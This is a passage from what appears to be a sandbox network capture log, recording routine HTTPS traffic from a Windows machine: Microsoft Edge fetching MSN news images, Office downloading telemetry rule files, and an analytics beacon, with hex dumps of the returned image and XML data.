2024-11-26 21:52:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:00 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Sat, 23 Nov 2024 17:10:02 GMT X-Source-Length: 176972 X-Datacenter: northeu X-ActivityId: c1da1ec4-0c27-40f3-823d-5ec36706435b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=155743 Expires: Thu, 28 Nov 2024 17:08:43 GMT Date: Tue, 26 Nov 2024 21:53:00 GMT Connection: close
2024-11-26 21:53:00 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 21:53:00 UTC	16384	IN	Data Raw: 5f 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac Data Ascii: _J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP
2024-11-26 21:53:00 UTC	2206	IN	Data Raw: d7 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-26 21:53:00 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-26 21:53:00 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-26 21:53:00 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-26 21:53:00 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-26 21:53:00 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-26 21:53:01 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-26 21:53:01 UTC	16384	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:00 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f1905457-c01e-0066-4580-3fa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215300Z-174f7845968j6t2phC1EWRcfe80000000w5000000000egtk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:00 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:01 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 2ff5ce10-101e-0017-5791-3f47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215301Z-174f7845968psccphC1EWRuz9s0000000w5g00000000qsqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:01 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49917	108.139.47.92	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	1012	OUT	GET /b2?rn=1732657979624&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AACE1577F9E67D0137AF4147E876674&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1859809eed3b09256c5c70a1732657979; XID=1859809eed3b09256c5c70a1732657979
2024-11-26 21:53:02 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 26 Nov 2024 21:53:01 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e82b8f8953c90f58ae3b2feee6b64b70.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: BR7mvVusXL14ILuNi8cdb1FmQXPz0z7w2x4PXHKkDg44bsw1QGNlzg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49922	23.200.3.33	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=141434 Expires: Thu, 28 Nov 2024 13:10:15 GMT Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close
2024-11-26 21:53:02 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49923	23.200.3.33	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=273846 Expires: Sat, 30 Nov 2024 01:57:07 GMT Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close
2024-11-26 21:53:02 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	49920	23.200.3.33	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
